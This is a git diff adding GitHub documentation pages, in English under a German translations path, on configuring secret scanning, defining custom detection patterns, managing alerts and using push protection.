+{% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
+
+## Enabling {% data variables.product.prodname_secret_scanning_GHAS %}
+
+You can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository that is owned by an organization. Once enabled, {% data reusables.secret-scanning.secret-scanning-process %}
+
+{% ifversion secret-scanning-enterprise-level %}
+{% note %}
+
+**Note:** If your organization is owned by an enterprise account, an enterprise owner can also enable {% data variables.product.prodname_secret_scanning %} at the enterprise level. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
+   {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png)
+   {% elsif ghes or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %}
+5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**.
+6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. 
+   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png)
+{% ifversion secret-scanning-push-protection %}
+7. Optionally, if you want to enable push protection, click **Enable** to the right of "Push protection." {% data reusables.secret-scanning.push-protection-overview %} For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+   ![Enable push protection for your repository](/assets/images/help/repository/secret-scanning-enable-push-protection.png)
+{% endif %}
+{% ifversion ghae %}
+1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
+   ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png)
+2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action.
+   ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png)
+3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**.
+   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png)
+{% endif %}
+
+## Excluding directories from {% data variables.product.prodname_secret_scanning_GHAS %}
+
+You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.files.add-file %}
+3. In the file name field, type *.github/secret_scanning.yml*.
+4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}.
+    ``` yaml
+    paths-ignore:
+      - "foo/bar/*.js"
+    ```
+    
+    You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)."
+
+    {% note %}
+    
+    **Notes:**
+    - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans.
+    - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file.
+    
+    {% endnote %}
+
+You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)."
+
+## Further reading
+
+- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"
diff --git a/translations/de-DE/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/de-DE/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
new file mode 100644
index 0000000000..3b0a2bf172
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
@@ -0,0 +1,174 @@
+---
+title: Defining custom patterns for secret scanning
+shortTitle: Define custom patterns
+intro: 'You can extend {% data variables.product.prodname_secret_scanning_GHAS %} to detect secrets beyond the default patterns.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+redirect_from:
+  - /code-security/secret-security/defining-custom-patterns-for-secret-scanning
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Secret scanning
+---
+
+
+## About custom patterns for {% data variables.product.prodname_secret_scanning %}
+
+You can define custom patterns to identify secrets that are not detected by the default patterns supported by {% data variables.product.prodname_secret_scanning %}. For example, you might have a secret pattern that is internal to your organization. For details of the supported secrets and service providers, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)."
+
+You can define custom patterns for your enterprise, organization, or repository. {% data variables.product.prodname_secret_scanning_caps %} supports up to 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per repository.
+
+## Regular expression syntax for custom patterns
+
+You can specify custom patterns for {% data variables.product.prodname_secret_scanning_GHAS %} as one or more regular expressions.
+
+- **Secret format:** an expression that describes the format of the secret itself.
+- **Before secret:** an expression that describes the characters that come before the secret. By default, this is set to `\A|[^0-9A-Za-z]` which means that the secret must be at the start of a line or be preceded by a non-alphanumeric character.
+- **After secret:** an expression that describes the characters that come after the secret. By default, this is set to `\z|[^0-9A-Za-z]` which means that the secret must be followed by a new line or a non-alphanumeric character.
+- **Additional match requirements:** one or more optional expressions that the secret itself must or must not match.
+
+For simple tokens you will usually only need to specify a secret format. The other fields provide flexibility so that you can specify more complex secrets without creating complex regular expressions.  For an example of a custom pattern, see "[Example of a custom pattern specified using additional requirements](#example-of-a-custom-pattern-specified-using-additional-requirements)" below.
+
+{% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported.  For more information on Hyperscan pattern constructs, see "[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)" in the Hyperscan documentation.
+
+## Defining a custom pattern for a repository
+
+Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your repositories](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+{% data reusables.repositories.navigate-to-ghas-settings %}
+{% data reusables.advanced-security.secret-scanning-new-custom-pattern %}
+{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}{% ifversion secret-scanning-custom-enterprise-35 or custom-pattern-dry-run-ga %}
+1. When you're ready to test your new custom pattern, to identify matches in the repository without creating alerts, click **Save and dry run**.
+{% data reusables.advanced-security.secret-scanning-dry-run-results %}
+{%- ifversion secret-scanning-custom-enterprise-35 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %}
+{% endif %}
+{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}
+
+After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+### Example of a custom pattern specified using additional requirements
+
+A company has an internal token with five characteristics. They use the different fields to specify how to identify tokens as follows:
+
+| **Characteristic** | **Field and regular expression** |
+|----------------|------------------------------|
+| Length between 5 and 10 characters | Secret format: `[$#%@AA-Za-z0-9]{5,10}` |
+| Does not end in a `.` | After secret: `[^\.]` |
+| Contains numbers and uppercase letters | Additional requirements: secret must match `[A-Z]` and `[0-9]` |
+| Does not include more than one lowercase letter in a row | Additional requirements: secret must not match `[a-z]{2,}` |
+| Contains one of `$%@!` | Additional requirements: secret must match `[$%@!]` |
+
+These tokens would match the custom pattern described above:
+
+```
+a9@AAfT!         # Secret string match: a9@AAfT
+ee95GG@ZA942@aa  # Secret string match: @ZA942@a
+a9@AA!ee9        # Secret string match: a9@AA
+```
+
+These strings would not match the custom pattern described above:
+
+```
+a9@AA.!
+a@AAAAA
+aa9@AA!ee9
+aAAAe9
+```
+
+## Defining a custom pattern for an organization
+
+Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all repositories in your organization, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+{% ifversion ghes < 3.5 or ghae %}
+{% note %}
+
+**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire organization. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts.
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security-and-analysis %}
+{% data reusables.repositories.navigate-to-ghas-settings %}
+{% data reusables.advanced-security.secret-scanning-new-custom-pattern %}
+{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}
+{%- ifversion secret-scanning-custom-enterprise-35 or custom-pattern-dry-run-ga %}
+1. When you're ready to test your new custom pattern, to identify matches in select repositories without creating alerts, click **Save and dry run**.
+{% data reusables.advanced-security.secret-scanning-dry-run-select-repos %}
+{% data reusables.advanced-security.secret-scanning-dry-run-results %}
+{%- ifversion secret-scanning-custom-enterprise-35 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %}
+{%- endif %}
+{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}
+
+After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+## Defining a custom pattern for an enterprise account
+
+{% ifversion fpt or ghec or ghes %}
+
+Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+
+{% endif %}
+
+{% note %}
+
+{% ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga %}
+**Notes:**
+- At the enterprise level, only the creator of a custom pattern can edit the pattern, and use it in a dry run. 
+- Enterprise owners can only make use of dry runs on repositories that they have access to, and enterprise owners do not necessarily have access to all the organizations or repositories within the enterprise.
+{% else %}
+**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts.
+
+{% endif %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}{% ifversion security-feature-enablement-policies %}
+{% data reusables.enterprise-accounts.code-security-and-analysis-policies %}
+1. Under "Code security and analysis", click **Security features**.{% else %}
+{% data reusables.enterprise-accounts.advanced-security-policies %}
+{% data reusables.enterprise-accounts.advanced-security-security-features %}{% endif %}
+1. Under "Secret scanning custom patterns", click **New pattern**.
+{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}
+{%- ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga %}
+1. When you're ready to test your new custom pattern, to identify matches in the enterprise without creating alerts, click **Save and dry run**.
+{% data reusables.advanced-security.secret-scanning-dry-run-select-enterprise-repos %}
+{% data reusables.advanced-security.secret-scanning-dry-run-results %}
+{%- ifversion secret-scanning-custom-enterprise-36 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %}
+{%- endif %}
+{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}
+
+After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+## Editing a custom pattern
+
+When you save a change to a custom pattern, this closes all the {% data variables.product.prodname_secret_scanning %} alerts that were created using the previous version of the pattern.
+1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account.
+   * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above.
+   * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above.
+2. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
+{%- ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga  %}
+3. When you're ready to test your edited custom pattern, to identify matches without creating alerts, click **Save and dry run**.
+{%- endif %}
+4. When you have reviewed and tested your changes, click **Save changes**.
+
+## Removing a custom pattern
+
+1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account.
+
+   * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above.
+   * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**.  For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above.
+1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
+1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern.
+1. Click **Yes, delete this pattern**.
+
+   ![Confirming deletion of a custom {% data variables.product.prodname_secret_scanning %} pattern ](/assets/images/help/repository/secret-scanning-confirm-deletion-custom-pattern.png)
\ No newline at end of file
diff --git a/translations/de-DE/content/code-security/secret-scanning/index.md b/translations/de-DE/content/code-security/secret-scanning/index.md
new file mode 100644
index 0000000000..ccef11c351
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/index.md
@@ -0,0 +1,26 @@
+---
+title: Keeping secrets secure with secret scanning
+shortTitle: Secret scanning
+intro: 'Let {% data variables.product.company_short %} do the hard work of ensuring that tokens, private keys, and other code secrets are not exposed in your repository.'
+product: '{% data reusables.gated-features.secret-scanning-partner %}'
+redirect_from:
+  - /code-security/secret-security
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Repositories
+children:
+  - /about-secret-scanning
+  - /configuring-secret-scanning-for-your-repositories
+  - /defining-custom-patterns-for-secret-scanning
+  - /managing-alerts-from-secret-scanning
+  - /secret-scanning-patterns
+  - /protecting-pushes-with-secret-scanning
+  - /pushing-a-branch-blocked-by-push-protection
+---
+
diff --git a/translations/de-DE/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/de-DE/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
new file mode 100644
index 0000000000..9ea660da32
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
@@ -0,0 +1,90 @@
+---
+title: Managing alerts from secret scanning
+intro: You can view and close alerts for secrets checked in to your repository.
+permissions: 'People with admin access to a repository can view and dismiss alerts.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+redirect_from:
+  - /github/administering-a-repository/managing-alerts-from-secret-scanning
+  - /code-security/secret-security/managing-alerts-from-secret-scanning
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Alerts
+  - Repositories
+shortTitle: Manage secret alerts
+---
+
+{% data reusables.secret-scanning.beta %}
+
+## Managing {% data variables.product.prodname_secret_scanning %} alerts
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** Alerts are created only for repositories with {% data variables.product.prodname_secret_scanning_GHAS %} enabled. Secrets found in public repositories using the free {% data variables.product.prodname_secret_scanning_partner%} service are reported directly to the partner, without creating an alert.
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+1. In the left sidebar, click **Secret scanning alerts**.
+   {% ifversion ghes or ghec %}
+   !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png)
+   {% endif %}
+   {% ifversion ghae %}
+   !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
+   {% endif %}
+1. Under "Secret scanning" click the alert you want to view.
+   {% ifversion ghec %}
+   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png)
+   {% endif %}
+   {% ifversion ghes %}
+   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
+   {% endif %}
+   {% ifversion ghae %}
+   ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
+   {% endif %}{% ifversion secret-scanning-dismissal-comment %}
+1. To dismiss an alert, select the "Dismiss alert" dropdown menu and click a reason for resolving an alert.
+
+   ![Screenshot of the dropdown menu for dismissing an alert from secret scanning](/assets/images/help/repository/secret-scanning-dismiss-alert.png){% else %}
+1. To dismiss an alert, select the "Mark as" dropdown menu and click a reason for resolving an alert. 
+  
+   ![Screenshot of the dropdown menu for resolving an alert from secret scanning](/assets/images/enterprise/3.2/repository/secret-scanning-resolve-alert-ghe.png)
+
+   {% endif %}{% ifversion secret-scanning-dismissal-comment %}
+1. Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can view the history of all dismissed alerts and dismissal comments in the alert timeline. You can also retrieve or set a comment by using the {% data variables.product.prodname_secret_scanning_caps %} API. The comment is contained in the `resolution_comment` field. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/secret-scanning#update-a-secret-scanning-alert)" in the REST API documentation.
+
+  ![Screenshot showing how to dismiss an alert via the "Dismiss alert" dropdown, with the option to add a dismissal comment](/assets/images/help/repository/secret-scanning-dismissal-comment.png)
+
+1. Click **Dismiss alert**.
+{% endif %}
+
+## Securing compromised secrets
+
+Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
+
+- For a compromised {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
+{%- ifversion token-audit-log %}
+  - {% ifversion ghec %}If your organization is owned by an enterprise account, identify{% else %}Identify{% endif %} any actions taken by the compromised token on your enterprise's resources. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
+{%- endif %}
+- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** If a secret is detected in a public repository on {% data variables.product.prodname_dotcom_the_website %} and the secret also matches a partner pattern, an alert is generated and the potential secret is reported to the service provider. For details of partner patterns, see "[Supported secrets for partner patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)."
+
+{% endnote %}
+{% endif %}
+
+## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts
+
+When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive an email notification if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, or are the author of the commit that contains the secret and are not ignoring the repository.
+
+For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
diff --git a/translations/de-DE/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md b/translations/de-DE/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md
new file mode 100644
index 0000000000..78b23e2fe1
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md
@@ -0,0 +1,140 @@
+---
+title: Protecting pushes with secret scanning
+intro: 'You can use {% data variables.product.prodname_secret_scanning %} to prevent supported secrets from being pushed into your {% ifversion secret-scanning-enterprise-level %}enterprise,{% endif %} organization{% ifversion secret-scanning-enterprise-level %},{% endif %} or repository by enabling push protection.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: secret-scanning-push-protection
+redirect_from:
+  - /early-access/code-security/secret-scanning/protecting-pushes-with-secret-scanning
+type: how_to
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Alerts
+  - Repositories
+shortTitle: Enable push protection
+---
+
+{% data reusables.secret-scanning.beta %}
+{% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
+{% data reusables.secret-scanning.push-protection-beta %}
+
+## About push protection for secrets
+
+Up to now, {% data variables.product.prodname_secret_scanning_GHAS %} checks for secrets _after_ a push and alerts users to exposed secrets. {% data reusables.secret-scanning.push-protection-overview %}
+
+If a contributor bypasses a push protection block for a secret, {% data variables.product.prodname_dotcom %}:
+- generates an alert.
+- creates an alert in the "Security" tab of the repository.
+- adds the bypass event to the audit log.{% ifversion secret-scanning-push-protection-email %}
+- sends an email alert to organization owners, security managers, and repository administrators, with a link to the related secret and the reason why it was allowed.{% endif %}
+
+For information on the secrets and service providers supported for push protection, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)."
+
+## Enabling {% data variables.product.prodname_secret_scanning %} as a push protection
+
+For you to use {% data variables.product.prodname_secret_scanning %} as a push protection, the {% ifversion secret-scanning-enterprise-level %}enterprise,{% endif %} organization{% ifversion secret-scanning-enterprise-level %},{% endif %} or repository needs to have both {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_secret_scanning %} enabled. For more information, see {% ifversion secret-scanning-enterprise-level %}"[Managing security and analysis settings for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise),"{% endif %} "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)," "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)," and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+
+Organization owners, security managers, and repository administrators can enable push protection for {% data variables.product.prodname_secret_scanning %} via the UI and API. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" and expand the "Properties of the `security_and_analysis` object" section in the REST API documentation.
+
+{% ifversion secret-scanning-enterprise-level %}
+### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for your enterprise
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. In the left sidebar, click **Code security and analysis**. 
+{% data reusables.advanced-security.secret-scanning-push-protection-enterprise %}
+{% endif %}
+
+### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for an organization
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.security-and-analysis %}
+{% data reusables.repositories.navigate-to-ghas-settings %}
+{% data reusables.advanced-security.secret-scanning-push-protection-org %}
+
+### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for a repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+{% data reusables.repositories.navigate-to-ghas-settings %}
+{% data reusables.advanced-security.secret-scanning-push-protection-repo %}
+
+## Using secret scanning as a push protection from the command line
+
+{% data reusables.secret-scanning.push-protection-command-line-choice %}
+
+Up to five detected secrets will be displayed at a time on the command line. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret. 
+
+{% ifversion push-protection-custom-link-orgs %} 
+
+Organization admins can provide a custom link that will be displayed when a push is blocked. This custom link can contain organization-specific resources and advice, such as directions on using a recommended secrets vault or who to contact for questions relating to the blocked secret.
+
+![Screenshot showing that a push is blocked when a user attempts to push a secret to a repository](/assets/images/help/repository/secret-scanning-push-protection-with-custom-link.png)
+
+{% else %}
+
+![Screenshot showing that a push is blocked when a user attempts to push a secret to a repository](/assets/images/help/repository/secret-scanning-push-protection-with-link.png)
+
+{% endif %}
+
+{% data reusables.secret-scanning.push-protection-remove-secret %} For more information about remediating blocked secrets, see "[Pushing a branch blocked by push protection](/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection#resolving-a-blocked-push-on-the-command-line)."
+
+If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. For example, you might revoke the secret and remove the secret from the repository's commit history. Real secrets that have been exposed must be revoked to avoid unauthorized access. You might consider first rotating the secret before revoking it. For more information, see "[Removing sensitive data from a repository](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)."
+
+{% data reusables.secret-scanning.push-protection-multiple-branch-note %}
+
+### Allowing a blocked secret to be pushed
+
+If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed.
+
+{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %}
+
+{% data reusables.secret-scanning.push-protection-allow-email %}
+
+1. Visit the URL returned by {% data variables.product.prodname_dotcom %} when your push was blocked.
+  ![Screenshot showing form with options for unblocking the push of a secret](/assets/images/help/repository/secret-scanning-unblock-form.png)
+{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %}
+1. Click **Allow me to push this secret**.
+2. Reattempt the push on the command line within three hours. If you have not pushed within three hours, you will need to repeat this process.
+
+{% ifversion secret-scanning-push-protection-web-ui %}
+## Using secret scanning as a push protection from the web UI
+
+{% data reusables.secret-scanning.push-protection-web-ui-choice %}
+
+{% data variables.product.prodname_dotcom %} will only display one detected secret at a time in the web UI. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret.
+
+{% ifversion push-protection-custom-link-orgs %} 
+
+Organization admins can provide a custom link that will be displayed when a push is blocked. This custom link can contain resources and advice specific to your organization. For example, the custom link can point to a README file with information about the organization's secret vault, which teams and individuals to escalate questions to, or the organization's approved policy for working with secrets and rewriting commit history.
+{% endif %}
+
+You can remove the secret from the file using the web UI. Once you remove the secret, the banner at the top of the page will change and tell you that you can now commit your changes.
+
+  ![Screenshot showing commit in web ui allowed after secret fixed](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-allowed.png)
+
+### Bypassing push protection for a secret
+
+{% data reusables.secret-scanning.push-protection-remove-secret %} For more information about remediating blocked secrets, see "[Pushing a branch blocked by push protection](/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection#resolving-a-blocked-push-in-the-web-ui)." 
+
+If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. For more information, see "[Removing sensitive data from a repository](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)."
+
+If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed.
+
+{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %}
+
+{% data reusables.secret-scanning.push-protection-allow-email %}
+
+If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible.
+
+1. In the banner that appeared at the top of the page when {% data variables.product.prodname_dotcom %} blocked your commit, click **Bypass protection**.
+{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %}
+
+  ![Screenshot showing form with options for unblocking the push of a secret](/assets/images/help/repository/secret-scanning-push-protection-web-ui-allow-secret-options.png)
+
+1. Click **Allow secret**.
+
+{% endif %}
